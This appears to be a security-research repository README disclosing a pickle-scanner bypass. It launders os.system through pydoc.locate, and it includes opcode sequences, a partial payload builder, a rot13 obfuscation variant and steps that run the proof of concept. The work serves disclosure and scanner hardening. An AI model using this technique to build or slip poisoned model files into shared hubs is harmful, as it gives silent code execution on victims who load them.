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pydoc.locate β€” Resolve Any Dotted Name to a Callable

Security Research β€” Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to malicious_model.pkl and poc.py requires a request β€” see gate above.

Summary

Scanner scores for malicious_model.pkl:

Scanner CRITICAL WARNING Bypassed?
modelaudit 0.2.37 1 0 Partial
picklescan 1.0.4 0 0 Yes
modelscan 0 0 Yes

Vulnerability

pydoc.locate(path) resolves any dotted Python name to the actual object:

pydoc.locate('os.system')        β†’ <built-in function system>
pydoc.locate('subprocess.Popen') β†’ <class 'subprocess.Popen'>
pydoc.locate('builtins.exec')    β†’ <built-in function exec>

The dangerous module/function name is a plain string argument β€” never a pickle GLOBAL opcode. This is a serialization laundering attack: pydoc.locate internally does the import and attribute lookup, hiding the dangerous reference from GLOBAL-based detection.


Proof of Concept

malicious_model.pkl in this repository is the exploit payload. poc.py builds and tests it with full scanner output.

How the PoC was built

def build_naive(cmd: str, dotted_func: str = "os.system") -> bytes:
    """pydoc.locate('os.system')(cmd) β€” 2 CRITICAL (os.system literal + pydoc.locate).

    Faithful reproduction of the original pickle.
    The dangerous name appears as a readable string β€” triggers string content scanner.
    """
    ops = bytearray(b"\x80\x04")
    # pydoc.locate('os.system') β†’ os.system fn  [CRITICAL β€” pydoc.locate in ADF]
    ops += sg("pydoc", "locate") + sbu(dotted_func) + b"\x85R"
    ops += b"\x94\x30"  # MEMOIZE 0, POP

Affected file formats

Pickle (.pkl, .pt, .bin, .joblib) β€” any file deserialized via pickle.loads(), torch.load(), joblib.load(), or equivalent.

Conditions required to trigger

  1. Target calls pickle.loads(untrusted_bytes) or loads a model file via any pickle-based loader
  2. The scanner performs static analysis only (no sandboxed execution)
  3. Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list

Reproduction Steps

# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-pydoc-locate-laundering
cd pickle-bypass-pydoc-locate-laundering

# 2. Install requirements
pip install modelaudit picklescan modelscan

# 3. Scan β€” observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl

# 4. Execute to confirm RCE/side-effect
python3 poc.py

# 5. Verify
ls /tmp/scanner_bypass_proof.txt

Security Impact

pydoc.locate is already in modelaudit's ALWAYS_DANGEROUS_FUNCTIONS in 0.2.37. Add to picklescan and modelscan deny lists.

Bypass mechanism: The payload evades static analysis while achieving its effect (code execution, file write, or network connection) when pickle.loads() is called.

Real-world scenario: An attacker uploads this payload to a model hub. A victim downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The payload fires silently β€” the return value of pickle.loads() looks like a normal Python object while the side effect has already occurred.


Full Technical Writeup

pydoc.locate β€” Resolve Any Dotted Name to a Callable

Modelaudit score: 2 CRITICAL (string pattern "os.system" + pydoc.locate in ADF); 1C with rot13 obfuscation
picklescan score: 0 findings
modelscan score: 0 findings

Mechanism

pydoc.locate(path) resolves any dotted Python name to the actual object:

pydoc.locate('os.system')        β†’ <built-in function system>
pydoc.locate('subprocess.Popen') β†’ <class 'subprocess.Popen'>
pydoc.locate('builtins.exec')    β†’ <built-in function exec>

The dangerous module/function name is a plain string argument β€” never a pickle GLOBAL opcode. This is a serialization laundering attack: pydoc.locate internally does the import and attribute lookup, hiding the dangerous reference from GLOBAL-based detection.

GLOBAL 'pydoc' 'locate'              [CRITICAL β€” pydoc.locate in ADF]
STRING 'os.system'                    [also triggers string content scanner]
TUPLE + REDUCE  β†’ os.system function

STRING 'touch /tmp/...'
TUPLE + REDUCE  β†’ os.system(cmd)  β†’ RCE

With Rot13 Obfuscation (1C only)

_codecs.encode(rot13('os.system'), 'rot_13') β†’ 'os.system'  [0 findings]
pydoc.locate('os.system')                    β†’ os.system fn  [1 CRITICAL]
os.system(cmd)                               β†’ RCE           [no new GLOBAL]

Why picklescan/modelscan Miss It

Neither pydoc nor pydoc.locate appears in their deny lists. The dangerous module name is a string argument, not a GLOBAL opcode. These scanners only check GLOBAL opcode targets.

Recommended Fix

pydoc.locate is already in modelaudit's ALWAYS_DANGEROUS_FUNCTIONS in 0.2.37. Add to picklescan and modelscan deny lists.


General Analysis β€” Security Research

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